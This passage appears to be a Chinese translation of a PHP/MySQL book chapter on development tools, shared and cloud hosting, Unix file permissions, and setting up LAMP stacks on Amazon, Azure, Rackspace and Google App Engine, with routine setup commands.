- 您将看到一条错误消息,因为您未能连接到 MySQL。
最后两个问题是值得考虑的,因为它们意味着至少 web 服务器和 PHP 是可以的。然后你只要追查一下为什么连不上 MySQL,大概是以下原因之一:
- MySQL 服务器没有运行。
- 它不允许来自
localhost
的连接。这是不寻常的,但值得检查。 - 用户名和/或密码错误。安装过程中可能会要求您输入默认用户名 root 的密码。否则,密码可能为空(即根本不需要密码)。
随着开发栈的安装和运行——LAMP、MAMP、WAMP、WIMP、XAMPP 等等——你已经准备好设置你的开发工具了。
编辑器和 ide
多年来,我一直使用 IDE(集成开发环境)为 Windows 或 Mac OS (Visual Studio 或 Xcode)开发本地应用,但对于 PHP 开发来说只是一个文本编辑器,通常是 Mac OS 的 BBEdit。BBEdit 提供了 IDE 的许多功能,例如基于项目的组织(多个文件收集在一起)和语法突出显示,以及功能强大和设计良好的文本编辑。它没有代码完成(根据您输入的片段建议替代方案)、弹出文档、调试或单元测试。
所有这些缺失的特性和更多的特性都由 PHP 可用的 ide 提供,包括免费的和商业的。好像有两大:Eclipse 和 NetBeans。两者都是最初为 Java 开发的 ide,但是它们的架构足够灵活,可以适应 PHP(和其他语言)。
我发现 NetBeans 更容易设置,因为它提供了您需要的大部分东西,而使用 Eclipse,您必须安装一些插件才能开始。我还发现 NetBeans 更容易使用,尽管我确信一旦您了解 Eclipse,它也会变得容易。因此,虽然我将使用 NetBeans 来说明用 IDE 开发 PHP,但我并不推荐它胜过 Eclipse。我是说这比较容易上手。也有一些 PHP 的商业 ide 看起来很受欢迎,但是我还没有尝试过。您可以从netbeans.org/features/php
下载已经为 PHP 配置的 NetBeans。
图 3-4 显示了在 NetBeans 中正在开发的清单 3-1 中的测试程序。
图 3-4 。NetBeans 窗口
在本书中,我不打算详细解释如何使用 NetBeans 或任何其他 IDE,因为这类信息在网上很容易找到。
传输文件
你不必把 PHP 文件转移到任何地方,在开发平台上测试它们,这就是为什么你想在那里有一个 PHP/MySQL 栈。我在 web 服务器的文档根目录下开发。您永远不会在生产服务器上这样做,但是从任何地方都无法访问我的开发系统,甚至从我的本地网络也无法访问,所以我用最方便的方式使用它。
但是,您必须将文件传输到生产服务器,在那里对它们进行测试,并最终将它们提供给任何用户,也许是全世界的用户。为此,你通常会使用 FTP,这种文件传输协议甚至比网络还要古老,或者它更安全的替代品,SFTP。如果可以的话使用 SFTP,但是有些服务器不支持,所以对他们来说是 FTP。
如果您正在使用版本控制(参见“版本控制”一节),请确保在上传到服务器之前提交更改,这样您就知道您正在使用应用的受控版本进行测试。
所有主要的操作系统都内置了 FTP。或者你可以使用一个免费的 FTP 工具,比如 FileZilla。如果你的文本编辑器有 FTP,你可以使用它。但是,如果您使用的是 NetBeans,它内置了 FTP 和 SFTP,这是一个不错的选择。(Eclipse 也有,但是,正如 Eclipse 经常出现的情况一样,您必须找到并安装一个插件。)
您可以从设置您的服务器的任何人那里获得您需要的 FTP 或 SFTP 参数—服务器名称、用户名、密码。(参见图 3-5 。)然后,在您使用的任何 FTP/SFTP 客户端(对我来说是 NetBeans)上将它们输入到远程连接设置中。
图 3-5 。从主机提供商处收到的显示 FTP 凭据的电子邮件摘录
无论如何,要确保 FTP/SFTP 客户端足够智能,只传输发生变化的文件。有时这种聪明取决于文件修改时间,如果本地和远程时钟不同步,这可能会导致问题。使用内置 FTP/SFTP 的 IDE(如 NetBeans)的一个优点是,它知道文件是否发生了更改,而不必查询服务器来猜测。
当你需要更新一个新版本的网站时,你不希望在现有的基础上复制文件。我将在“安装新版本”一节中告诉您该怎么做
调试工具
如果您将 Xdebug 扩展安装到 PHP 中,您可以从 NetBeans 内部执行交互式调试,使用您所熟悉的所有功能,比如断点、单步执行、变量值显示等等。WampServer 是我用来在 Windows 上安装开发栈的,它附带了已经安装的 Xdebug。
测试工具
您肯定希望使用像 PHPUnit 这样的单元测试工具。它是几个可用的 PHP 单元测试工具之一,但它是我使用的工具,因为 NetBeans 直接支持它,这使得创建和运行单元测试非常容易。
另一个值得研究的工具是 Selenium,它可以运行驱动 web 浏览器的测试。这是针对整个系统的测试,因为它可以驱动整个应用。
版本控制
这里有一个有趣的事实:我发明了第一个源代码控制系统。我没开玩笑!20 世纪 70 年代初,在贝尔实验室的时候,我开发了源代码控制系统(SCCS),,所有后续系统的先驱,包括 RCS、CVS、SourceSafe、Subversion、Git。你可以从basepath.com/site/docs.php
下载我 1975 年在第一届 IEEE 软件工程会议上发表的论文。
当然,没人再用 SCCS 了。或者,几乎没有人——IBM 将它作为其 CMVC 系统的关键组件,也许在内部仍然如此。(当我在 2000 年代中期作为专家证人检查 IBM 源代码时,IBM 就是这样做的。)
今天流行的系统,至少在开源社区,似乎是 Subversion、Mercurial 和 Git。我相信它们都是不错的选择,这并不是说你不会在网上找到关于哪个更好的激烈争论。所有这些都由 NetBeans 直接支持,不需要插件,尽管您必须自己安装系统。
Mercurial 和 Git 是分布式系统,这意味着每个开发人员都有自己的存储库,当开发人员准备好这样做时,存储库就会与中央存储库同步。它们适合由几十个开发人员进行广泛分布的开发,对于像 Linux 这样的大型开源项目也是如此。(Git 是由 Linux 创建者 Linus Torvalds 创建的。)当您同步时,如果其他人已经更新了您尝试更新的存储库部分,您可能会发现不一致,在这种情况下,您必须在同步完成之前解决问题。
Subversion 有一个中央存储库,当您需要一个新文件或者需要签入您正在处理的文件的变更时,您可以随时访问它。对于小团队来说,这是一个很好的方法,因为每个人都知道最新的变化在哪里。对于大型团队来说,分布式系统可能更好。(我敢肯定,颠覆拥护者不会同意。)
比较版本控制系统让我头疼,所以在我真正开始之前我会停下来。使用你工作的地方已经存在的,或者,如果你是一个人,开始新的(或者准备抛弃你一直在使用的东西),就使用 Mercurial。
或者 Git。
或者颠覆。
问题跟踪器
我在第一章的中谈到了问题跟踪器。你想要一个支持问题和客户支持(例如,跟踪电子邮件),负担得起的(免费的肯定是),并且有一个可以从 PHP 访问的数据库,我在第二章第的清单 2-3 中展示了一个例子。
NetBeans 提供了对 Bugzilla 和 JIRA 的内置支持,这两个我都没用过。
托管替代方案
到目前为止,我唯一深入讨论过的虚拟主机是你的开发系统。但是生产服务器才是真正重要的。
最重要的规则是,你不应该在自己的设备上托管自己的网站,除非你的名字是亚马逊、谷歌、苹果、脸书或其他同样大而富有的人。托管是一项专业的、高要求的、技术先进的活动,应该总是留给全职(在这种情况下意味着 24/7)的专业人员。您不想应对全天候的人员配备、不间断的电力、物理安全性、不间断可用性、异地备份和网络安全。所以你不用托管一个网站,你选择一个托管服务。
在许多情况下,您不会是选择的人,因为您正在构建的应用将在现有的托管平台上运行。我为理查森学区建立的成绩单系统 Rgrade 就是这种情况。该学区有自己的 IT 人员和自己的服务器机房,并且为我的应用添加了一些盒子。我从来没有见过那些电脑,我甚至不确定我见过它们所在的服务器机房。我可以通过 FTP 和终端访问它们,这正是我所需要的。尽管它们是由我的客户拥有和运营的,但就我而言,它们是在网络空间的某个地方,具体在哪里,我不知道也不关心。我为科罗拉多大学世界事务会议建立的系统也是如此。我很确定服务器就在校园的某个地方。
将托管服务分成几类是有帮助的。
- 真实机器上的内部托管,就像我刚刚提到的两个。有时这些会在不同的网站上为不同的用户共享(比如 CWA 系统),有时则不会(比如 Rgrade)。
- 真实机器上的商业共享主机服务,从免费到每月 100 美元或更多,包括中间的几乎所有金额。我每个月为
basepath.com
支付大约 9 美元,包括无限存储和无限带宽。 - 云服务器上的虚拟机。例如亚马逊网络服务、微软 Azure 和 Rackspace Cloud。(IBM、谷歌和许多其他公司也这么做。)这被称为基础设施即服务(IaaS)。
- 云服务器上运行您定义的应用的应用平台,称为平台即服务(PaaS)。例子有亚马逊弹性豆茎和谷歌应用引擎。
在某些情况下,所有四个类别的主机服务为你设置了 PHP 和 MySQL。否则,您需要自己安装和设置 web 服务器、MySQL 和 PHP,就像您有自己的真实机器一样,这是您在获得虚拟机时通常要做的事情。这并不太坏,一旦你掌握了它,你就会有很大的灵活性。你永远不会因为获得最新版本的软件、添加用户或任何你想要的东西而受到你的主机服务的摆布。这是你的(虚拟)机器。
我将稍微讨论一下商业共享托管服务,然后报告我在一些云服务器上的体验,包括 IaaS 和 PaaS。
商业共享托管服务
你已经看过超级碗比赛期间那些令人发指的广告了。他们是最大的商业共享主机提供商,或者接近它。但 Go Daddy 只是数百家甚至数千家此类供应商中的一家。它们都提供一些计划,从免费到每月不到 5 美元甚至更多,取决于你有权期待的服务和容量。
我尝试的免费服务,只是为了好玩,是freewebhostingarea.com
。反应似乎真的很慢,即使是我的玩具网站。出于某种原因,NetBeans 内部的 FTP 速度甚至更慢。一些 PHP 工具似乎受到了审查,比如phpinfo
函数,它什么也不做。从我关于phpinfo
不工作的电子邮件没有得到回复来看,客户支持似乎不存在。事情是这样的:即使是免费的,我也得到了 PHP 和 MySQL。你总是会得到 PHP 和 MySQL,这就是为什么它们是实现 web 应用的绝佳选择的一个原因。(然而,您并不总能获得您需要的特定特性;稍后会详细介绍。)
A2 主机,我已经用了basepath.com
,是一个更严肃的服务,不像免费的网络主机。(如果你付钱给他们,他们也可能是认真的;我没有尝试去发现。)我的网站处理不了多少流量,但对于我所需要的,响应能力非常好,正常运行时间和客户支持也是如此。没有抱怨。我每月只付 9 美元!
我在 A2 主持工作了大约七年。之前,我曾被另一家公司托管,但我离开了那家公司,因为没有人会回复我的支持邮件。这是一个问题,当你做得很便宜的时候。
我用这些低价得到的服务叫做共享托管。我在一台有未知数量的其他客户的计算机上,当流量进来时,我们争夺资源。电脑就是电脑。无法扩展,没有负载平衡器,根本没有可扩展性。如果你自己的网站流量很大,这通常是你想要的,或者同一台电脑上的其他人的网站流量很大,事情就完了。对于basepath.com
,无所谓。对于您的应用,可能是这样的。
共享主机总是限制你能做什么,这可能会阻止你的应用运行。例如,在第四章中,我将解释为什么数据库触发器是验证数据的好方法,但是,由于 MySQL 的设计方式,您需要“超级”权限来创建触发器,而这在共享主机中有时是不允许的。这是一个严重的限制。
A2 主机和大多数其他公司提供更高价格的计划,提供更多的资源。例如,每月大约 90 美元,你可以获得 16 个虚拟 CPU(中央处理器)和 SSD(固态硬盘)存储,保证容量远远超过我花区区 9 美元所能获得的。
托管可扩展性
有了 A2 托管或任何类似的提供商,即使每月 90 美元,你仍然有可用资源的上限。您想要的是从小规模开始并根据需要增长的服务。
扩展主机容量有两种方式: up 或 out 。向上扩展意味着获得更大的计算机,以更高的带宽连接到互联网。这就是当你告诉 A2 主机将你的网站转移到更高成本的服务时会发生的事情。你需要一段时间来决定你想这么做,A2 也需要几天时间来把你转移过去。与此同时,你的网站将会很慢,如果它能工作的话。然后,如果需求下降,你就要为超出需求的产能买单。
横向扩展意味着计算机的大小保持不变,但是您拥有更多的计算机。这对于 web 应用非常有用,因为除了连接到公共数据库之外,每个会话都是相互独立的。即使对于 Rgrade,该学区也购买了一台 Cisco 负载平衡器,它接收 HTTP 请求,并根据哪台应用服务器负载较轻,将请求分配给其中一台应用服务器。负载平衡器足够聪明,能够理解 PHP 会话,确保包含大量 HTTP 请求的给定会话保持在同一台服务器上。(重要的是,因为我将 PHP 设置为将会话数据存储在一个不在计算机之间共享的临时文件中。)负载平衡器不限于两台,因此我们可以通过添加应用服务器轻松扩展容量。几个月后,我们发现我们高估了所需的容量,It 人员将一台应用服务器转移到别处使用。这就是负载平衡器提供的灵活性。
数据库不容易在计算机之间分配。如果有必要的话,我们可以这样做,因为这是当时 Oracle 的一个特性,我们也在使用它。然而,这远没有添加负载平衡器那么简单。MySQL 根本不能很好地扩展到多台服务器,所以你必须自己考虑分割数据库,并在设计访问时考虑这种分割。
用户、组和权限
在开始设置虚拟服务器之前,我需要解释一下如何处理用户、组和权限。这适用于运行在*nix 系统上的 Apache 即 LA in LAMP。在这一节的最后,我会对 Apache 或 IIS 在 Windows 上的运行做一些评论。
首先,简要介绍一下*nix 上的用户、组和权限,以防您不熟悉。
- 一个用户对应一个登录名。用户也被组织成组,通常只由一个用户组成,但也可能由几个用户组成。
- 每个进程都作为一个用户(通常是启动它的登录用户)和一个组(通常是该用户的组)运行。正是这个用户和组决定了进程是否有权限读取、写入或执行目录(文件夹)或文件。
- 执行文件意味着将它作为程序运行。执行目录意味着在路径中使用它。
- 每个目录和文件都有一个所有者用户和组。这些最初与创建目录或文件的过程相同,但是它们可以被改变。
- 每个目录和文件都有三种权限:用户、组和其他人。总共有九个权限。
- 八进制(以 8 为基数)数字用于表示目录或文件的权限。例如,权限 754 等于 9 位 111101100。一次考虑他们三个,所有者有 111,意思是读+写+执行,组有 101,意思是读+执行,其他人有 100,意思是读。
- 确定进程是否可以对目录或文件执行操作(读、写或执行)的算法如下:如果进程用户和目录/文件用户匹配,则使用用户位。如果它们不匹配,但组匹配,则使用组位。如果用户和组都不匹配,则使用其他位。
最初,当您第一次在一个*nix 系统上直接安装 Apache 时(例如,不是用 MAMP 这样的系统),您可能会发现设置如下:
- 网站所在的文档根被设置为
/var/www
,并包含一个示例文件index.html
。该目录和文件的用户和组被设置为 root 用户,只有 root 用户拥有对它们的写权限。(文档根和用户根是不相关的。) - Apache 和 PHP 使用设置为用户 www-data 的用户和组运行。Apache 和 PHP 不能写入文档根目录,但是它们可以读取它,所以如果作为 root 用户,您在那里建立一个网站,并授予其他人对目录和文件的读取权限,以及对目录的执行权限,Apache 和 PHP 就可以运行该网站。
- 当您使用 SFTP 登录以更新网站时,SFTP 进程的用户和组将被设置为您的登录名。对于 Ubuntu Linux 服务器,初始用户登录是 Ubuntu,这是一个不能写入文档根目录的用户和组,这使得 SFTP 无法使用。
因此,必须改变初始设置。有各种方法可以改变它,但是最简单的方法是更改 Apache 配置,将文档根目录设置为您登录的子目录,可能是一个名为www
的目录,您应该在登录时创建它,如下所示:
mkdir www
这个文档根目录的完整路径类似于/home/ubuntu/www
。它将拥有权限 775,这意味着您和您的组(最初只有您)可以读取、写入或执行它,而其他人只能读取和执行它。网站中的文件(HTML、PHP、CSS 或其他文件)应该具有权限 664,因为它们不需要被执行。(PHP 文件不是由*nix 系统执行的;它们只是被 PHP 处理器读取。)
现在,Apache 和 PHP 仍然作为 www-data 运行,但这没关系,因为你已经允许其他人访问网站,只是不写入它。因为你的登录(ubuntu 或者其他什么)拥有所有的目录和文件,SFTP 会工作得很好。
现在一切都很好,直到 PHP 需要写入一个目录,例如,当它想要创建一个 PDF 文件供下载时,它可能会这样做,正如我在第七章中演示的那样。由于 PHP 是作为组 www-data 运行的,允许它写入目录的最简单方法是将目录的组改为 www-data。例如,如果目录installation
是由登录为 ubuntu 的 SFTP 创建的,那么它的用户和组就是 ubuntu,正如您从ls
命令的输出中看到的。
drwxrwxr-x 5 ubuntu ubuntu 4096 Apr 26 14:17 installation
您可以使用以下命令更改该组:
sudo chgrp www-data installation
并且ls
命令输出变为
drwxrwxr-x 5 ubuntu www-data 4096 Apr 26 14:17 installation
SFTP 现在可以写入目录,因为用户是 ubuntu,PHP 也可以,因为它的组是 www-data。
还有一个问题:在“安装新版本”一节中,PHP 将把文件复制到一个目录中,然后这些文件将拥有一个用户和一组 www-data,权限为 664,这意味着作为 ubuntu 运行的 SFTP 将无法更新它们。当然,您可以使用 SSH 终端登录并更改文件的用户和组,但是这太麻烦了。Web 应用应该自己运行,不需要终端人员的干预。
这个问题有几种解决方法。
- 对于许多共享主机服务,比如我在
basepath.com
中使用的那个,使用了一种叫做虚拟主机的东西,这样 Apache 和 PHP 就像作为我的用户和组(rochkind)运行一样。所有的目录和文件都归我所有,Apache 和 PHP 以我的身份运行,SFTP 以我的身份运行,所以一切都很好。 - 如果你控制了服务器,不管是真实的计算机还是虚拟的计算机,你都可以设置虚拟主机,或者使用一个名为“suEXEC”的 Apache 工具来安排 PHP 以你的身份运行,类似于共享主机服务。然而,这很难做到,尤其是如果你是新手的话,我不打算在本书中深入探讨。
- 如果你有一个虚拟服务器,它存在的唯一目的是运行你的网站,除了你没有其他用户,除了 Apache、SFTP 和 SSH 没有其他应用,除了你没有人可以登录。因此,你可以很容易地在共享系统上做一些会带来安全问题的事情:只需改变 Apache 的配置,让它真正像你一样运行,跳过虚拟主机或 suEXEC 的复杂性。(MAMP 也是这样设置的。)
要让 Apache 像你一样运行——比如 Ubuntu——有三个简单的步骤。首先,作为 root 用户,编辑配置文件以更改用户和组。对于 Ubuntu 来说,这个文件是/etc/apache2/envvars
,你要换行
export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
到
export APACHE_RUN_USER=ubuntu
export APACHE_RUN_GROUP=ubuntu
第二,改变文件的所有者/var/lock/apache2
sudo chown ubuntu /var/lock/apache2
第三,重启 Apache
sudo /etc/init.d/apache2 restart
再说一遍,这样我就不会收到讨厌的邮件了,这在一个有多个用户的服务器上运行不止一个用户的网站不是一个好主意,但是对于一个单一用途的虚拟服务器,或者对于一个没有外部访问的开发系统来说,这是完全安全的。
总之,不管怎样,如果 PHP 和 SFTP 能够编写相同的目录和文件,最好让它们以相同的用户身份运行。
Windows 没有组,对于 Apache 来说,没有像 suEXEC 这样的东西。你的选择是
- 以网站所有者的相同用户身份运行 web 服务器,Apache 或 IIS,或者
- 使用身份模拟,对于 IIS,大致相当于*nix 上的 suEXEC。
云服务器
云服务器分为两大类:你想做什么就做什么的虚拟机(IaaS),以及提供你需要的设施(例如 PHP 和 MySQL)并随着负载增加而扩展的应用平台(PaaS)。一般来说(也有例外),IaaS 系统提供了更多的灵活性,而 PaaS 系统更容易设置并提供自动扩展,而且它们有时是免费的。
对于 IaaS,您可以说,“我想要一台虚拟机。”使用 PaaS,您可以说,“这是我的应用—帮我运行它。”
正如您将在接下来的三个部分中看到的,我让 LAMP stacks 在 Amazon、Microsoft 和 Rackspace 的 IaaS 云上相当容易地运行,尽管这涉及到下载和安装软件、使用 SFTP 和 SSH 终端会话登录、查找和更改配置文件以及发现 IP(互联网协议)地址。我不确定这对一个专业程序员来说有多难(这本书的所有读者都是这样,对吧?)谁是 Linux 新手,因为我不典型。我从 1972 年就开始使用类 UNIX 系统,甚至还写过几本高级 UNIX 书籍(查看我的高级 UNIX 编程)。不过,如果你非常仔细地阅读说明,自由地使用谷歌搜索细节,并不断尝试,你一定会成功。我听说过 Rackspace 的技术支持,所以,如果你是这方面的新手,你可以先试试 Rackspace。亚马逊和微软可能不太愿意帮忙,因为他们没那么饥渴。
这里讨论的所有云服务器都允许轻松地向上扩展(更大的计算机)和向外扩展(更多的计算机,带有负载平衡器)。例如,一旦您得到了想要的 Amazon EC2 实例,管理控制台上一个名为“Launch More Like This”的菜单项允许您生成一个或多个额外的服务器,可能运行在更大的虚拟计算机上。你可以从亚马逊所说的微型开始,相当于一个内核和 613 MB 的内存,一直到 16 个内核和 117 GB 的内存。这是在扩大规模。要向外扩展,您需要生成额外的、可能更小的服务器,并添加一个负载平衡器来在它们之间分配负载。
我将介绍一个 PaaS、Amazon Elastic Beanstalk 和三个 IaaS 系统、Amazon EC2、Microsoft Azure 和 Rackspace Cloud Server 的入门知识。然后我会说几句关于 Google App Engine 的话,这是一个 PaaS,在本书即将出版时才开始支持 PHP。
亚马逊弹性豆茎
明白吗?你爬上豆茎到达云端。
我认为 A2 托管的任何运行basepath.com
的计算机都是虚拟的,因为我永远不会看到它,也不知道它在哪个城市,但它不是虚拟的:它是一台真实的计算机,有固定的限制,他们永远不会让我超过,除非我注册一个更昂贵的计划。更糟糕的是,我把它分享给其他网站,没有人知道他们会做什么来攫取资源。我能做的也很有限。例如,如果我想允许 URL 作为文件名(比如说在file_get_contents
中),我不能——A2 主机不允许。正如我提到,还有 MySQL 触发器的限制。
亚马逊弹性计算云(更广为人知的名称是 EC2)并非如此。你得到了一台看似真实的计算机,名为实例、,你可以以 root 用户身份登录,并以任何你想要的方式进行配置。但是,它是一台虚拟计算机,运行在亚马逊数据中心的某个服务器上。你可以根据需要扩展它,但它不能超越亚马逊拥有的最大服务器,即大约 16 个内核和 117 GB 的内存。相当大,但仍有限制。
您可以添加另一个服务来提供负载平衡,以便在 EC2 实例之间分配会话。对于数据库,您可以在 EC2 实例上运行 MySQL,因为您拥有(虚拟)机器,所以您可以使用虚拟 MySQL 数据库,Amazon 称之为关系数据库服务(RDS)。(RDS 还支持 Oracle 和 Microsoft SQL Server。)
其结果是,随着流量的增加,web 服务器几乎无止境地、完全自动地扩展。如果流量减少,它就会缩小。您只需为您使用的东西付费。
问题在于,尽管亚马逊在基于网络的管理界面上做得相当不错,但设置起来还是需要很多工作。几年前,亚马逊用弹性豆茎让这变得简单多了。现在建立一个弹性服务真的很容易,有了所有的东西:负载平衡、Apache、MySQL 和 PHP。用云的行话来说,这一切都是为您完成的,它是 PaaS,而不是 IaaS。
为了演示使用 Elastic Beanstalk 是多么容易,我将展示如何从头开始设置它。(在下一节中,我将对一个普通的 EC2 IaaS 实例做同样的事情,没有结霜。)
首先,你需要一个亚马逊网络服务账户,你可以在aws.amazon.com
获得。(如果您是新客户,您可以免费构建和使用一个弹性 Beanstalk 服务器一年。)一旦你有了这些,你进入 AWS 管理控制台,点击 Elastic Beanstalk 链接,然后你被要求选择你的平台,如图 3-6 所示。
图 3-6 。选择弹性豆茎平台
我选择了 PHP 5.4,它将我带到了 Elastic Beanstalk 控制面板,在那里我花了几分钟时间观察了创建环境的进度,包括各种组件(EC2、负载平衡器等。)得到了配置和启动。当一切都准备好时,我看到了图 3-7 中的内容。
图 3-7 。弹性豆茎应用示例
示例应用只显示一个样板网页。我想要自己的应用。所以,我点击了你在图 3-7 顶部看到的上传新版本按钮,上传了一个包含来自清单 3-1 的 PHP 文件的压缩文件,但是修改后使用了 Elastic Beanstalk 放入环境中的数据库参数,而不是在 PHP 文件本身中对它们进行硬编码。清单 3-2 展示了这些修改。(你可以上传压缩的源文件或者直接从 Git 上传。)
清单 3-2 。为弹性豆茎修改的测试程序
define('DB_HOST', $_SERVER['RDS_HOSTNAME']);
define('DB_PORT', $_SERVER['RDS_PORT']);
define('DB_USERNAME', $_SERVER['RDS_USERNAME']);
define('DB_PASSWORD', $_SERVER['RDS_PASSWORD']);
try {
$dsn = 'mysql:host=' . DB_HOST . ';port=' . DB_PORT;
new PDO($dsn, DB_USERNAME, DB_PASSWORD);
}
catch (PDOException $e) {
die($e->getMessage());
}
echo "<p>PHP/MySQL is working!";
phpinfo();
我点击上传新版本按钮时得到的上传面板如我填写的图 3-8 所示。
图 3-8 。弹性豆茎版上传面板
安装新版本花了几分钟时间。当我在浏览器中测试 PHP 文件时,它失败了,屏幕上显示如下内容:
SQLSTATE[HY000] [2002] No such file or directory
问题是我没有请求 RDS 数据库——默认情况下不会有。因此,我点击了你在图 3-7 底部看到的编辑配置链接,这将我带到配置编辑器,在那里我点击了数据库选项卡,如图图 3-9 所示,并创建了一个 MySQL 数据库。
图 3-9 。弹性豆茎配置编辑器
这次它成功了,给出了图 3-10 中的输出,除了 PHP 版本之外,它看起来就像图 3-3 。
图 3-10 。在弹性豆茎上运行的测试程序
Elastic Beanstalk 及其负载均衡器比只使用 EC2 机器更昂贵。对于最小的 EC2 机器,假设最小的带宽和存储,带 RDS 的 Elastic Beanstalk 大约是每月 54 美元。EC2 机器如果没有使其具有弹性的服务,价格大约为 15 美元,所以您需要为负载平衡器和 RDS 支付很多费用。只有一台服务器的负载均衡没有任何意义(没什么好平衡的),所以这些价格意义不大。随着 EC2 服务器越来越多、越来越大,负载平衡在总成本中所占的比重并不是很大,因为它的成本是相当固定的,不依赖于它所处理的服务器数量。您也不必使用 RDS,因为您可以在 EC2 机器上免费安装 MySQL。简而言之,弹性豆茎没有经济意义,除非你有一个快速增长的大型网站。您所支付的是应对这种增长的能力。如果你不期望快速成长,你就不需要有弹性的豆茎。
因为您可以单独获取其组件,所以 Elastic Beanstalk 是一种 PaaS,它仍然提供 IaaS 的灵活性。其他 PaaS 产品,如谷歌的应用引擎,要封闭得多。
亚马逊 EC2
为了了解如何将 EC2 实例(没有所有弹性 Beanstalk extras 的 IaaS)配置为 LAMP 堆栈,我从 AWS 管理控制台启动了一个 EC2 实例,从可用类型菜单中选择 Ubuntu。
使用 EC2,您必须在启动映像时指定一个 SSL 密钥对文件,因为仅用密码通过 SSH 或 SFTP 访问它是不够的。从 AWS 管理控制台的 EC2 部分创建一个密钥对,然后将其下载到开发计算机上。将它放在您喜欢的任何地方,这样您就可以从您的 SSH 终端和 SFTP 应用中引用它。为了使用它,您必须确保它是不可写的,因为客户端将拒绝使用一个密钥对文件,除非它是受保护的。当我使用 Elastic Beanstalk 实例时,我已经建立了一个密钥对文件,所以我只使用那个文件。(一个就够了。)如果您在没有指定您下载的密钥对文件的情况下启动映像,您将不得不终止它并重新开始。
接下来,您必须确保启动 EC2 实例的安全组允许 HTTP (web)访问。
下载了密钥对并设置了安全组后,就可以启动实例了。在它启动后,您可以通过在终端中键入的ssh
命令从*nix 开发系统连接到它,如下所示:
ssh -i /Users/marc/.ssh/keypair1.pem \
ubuntu@ec2-54-242-132-25.compute-1.amazonaws.com
它显示为分布在两行上,但它是一个命令行;反斜杠是外壳延续字符。如果您的开发系统是 Windows,您可以使用免费的 PuTTY 应用进行 SSH 访问。
一旦我进入 shell,我就输入命令
sudo apt-get update
更新可用软件的目录,然后使用命令
sudo tasksel
给我一个简单的交互式安装灯堆的方法,如图图 3-11 所示。请注意我对第四个选项“灯服务器”的选择其他星号已经在那里;如果我删除了任何组件,该组件将被卸载。
图 3-11 。运行 tasksel 的 EC2 实例
LAMP 安装后,网站就可以运行了,这是我通过浏览器验证的。然后从 SSH 会话中,我编辑 Apache 配置将文档根目录改为我登录目录的子目录,上传清单 3-1 所示的测试程序,得到我想要的,如图图 3-12 所示。
图 3-12 。在 EC2 实例上运行的测试程序
Microsoft Azure
Azure 是微软的云服务。微软称之为 Windows Azure,但你可以用它来设置 Linux 虚拟机,以及 Windows。(亚马逊和 Rackspace 也支持 Windows。)
为了试用 Azure,我设置了一个运行 Ubuntu Linux 的小型虚拟机(IaaS)。我享受了 90 天的免费试用,但如果我不得不为这台机器付费,每月大约需要 15 美元,与亚马逊最小的 EC2 机器一样。
只需点击几下就可以得到我的 Ubuntu 服务器,除了 L 部分,没有安装 LAMP 堆栈的任何部分。我能够轻松地连接 SFTP(运行的服务器)并登录到 SSH shell,而不需要使用密钥对文件,这是 Amazon EC2 要求我做的。在 shell 中,我可以用sudo
命令得到一个超级用户(root)提示符。
微软有一个很好的帮助页面,解释了如何安装 LAMP 堆栈的其余部分,基本上是通过 SSH shell 执行一个命令。
apt-get install apache2 mysql-server php5 php5-mysql \
libapache2-mod-auth-mysql libapache2-mod-php5 php5-xsl php5-gd php-pear
事实证明,这和使用可视化安装工具tasksel
一样简单。然后我启动了 Apache 服务器。
sudo /etc/init.d/apache2 restart
但是 Azure 分配的 URL,rochkind.cloudapp.net
,没用。搜索了一下,我发现我忘了为端口 80(web 服务器的默认端口)创建一个端点,所以我从 Azure 管理门户创建了这个端点。然后网站工作了。(这类似于我在 EC2 中遇到的问题,当时我忘记将 HTTP 添加到安全组中。)
然后,由于 Apache 文档根对于我的用户登录来说是不可写的,我不得不像对 EC2 一样更改文档根。然后我上传了测试程序(清单 3-1 ),一切正常,如图图 3-13 所示。
图 3-13 。在 Azure Ubuntu 服务器上运行的测试程序
你通常不会认为微软是 Linux 服务器领域的大腕,但它恰恰表明了云计算的竞争力,以及它对主要参与者的重要性。
我用微软的 PaaS 产品做了一点试验,微软称之为网站,它包括 PHP 和 MySQL。如果你有一个小网站,它们是免费的,但是它们有共享主机的限制,这使得它们不适合我在这本书里关注的那种应用。我会选择虚拟机。
机架空间
接下来是 Rackspace,它提供了许多与亚马逊和微软相同的云功能。正如我在 Azure 上做的那样,我注册了最小的 Ubuntu 服务器,这将花费我大约 16 美元一个月,与亚马逊 EC2 和微软 Azure 差不多。
一旦我的虚拟机设置好了,Rackspace 就给了我需要的 SSH 命令,这是我必须为亚马逊和微软自己解决的问题。事实上,点击他们网页上的链接,我就直接进入了 Mac OS 终端应用。当然,不能上网,因为这是一台全新的机器。
我执行了用于 Azure 服务器的相同的apt-get
命令,它工作了。这一次,端口 80 已经处于活动状态,所以对 Apache 的 web 访问马上就可以工作了。
与 SFTP 的接触也奏效了。测试程序也是如此,表明 PHP 和 MySQL 都在运行。我的浏览器显示的内容类似于图 3-12 ,因为灯组是相同的。所以,再一次,成功!
谷歌应用引擎
Google App Engine,一个 PaaS,已经出来一段时间了,但是只支持 Java、Python 和 Go(一种 Google 发明的语言)。就在我完成这一章的时候,它宣布了对 PHP 的支持,所以我可以稍微了解一下。关于谷歌应用引擎的一些值得注意的事情:
- 与其他供应商不同,它为您提供了一个完整的开发平台,包括一个运行 PHP 和 MySQL 的 web 服务器,因此您可以在本地进行测试。
- 小应用是免费的,而且,在典型的谷歌时尚中,免费层相当慷慨,所以对于小网站你不必付费。然而,这不包括 MySQL,谷歌称之为云 SQL 谷歌为此收费。
- 与亚马逊 Elastic Beanstalk 不同,App Engine 是一个封闭的系统。我需要在 PHP 中添加 cURL 扩展,这样我就可以运行第三方库(Twilio,我在第六章的中讨论过),但是它不被支持,也没有办法添加。相比之下,Amazon EC2 只需要一个命令:
sudo apt-get install php5-curl
。
就在谷歌宣布 PHP 应用引擎的同一周,谷歌推出了计算引擎产品。这是一个运行 Linux(仅)虚拟机的 IaaS。我没有玩过它,但是我确信它的设置和其他云供应商的设置是相似的。因为它是 IaaS,而不是 PaaS,所以不会有任何功能限制。
云服务器总结
以下是我在尝试将灯堆栈放在云服务器上时学到的东西:
- Amazon Elastic Beanstalk 很容易安装,因为灯堆已经为您安装好了,并提供了很大的弹性,但如果您不需要这种弹性,它会很贵。
- 我研究的其他 PaaS 系统,Azure 网站和 Google App Engine,都像 Elastic Beanstalk 一样容易设置,但是它们有一些你无法回避的限制。然而,对于小网站来说,它们是免费的。
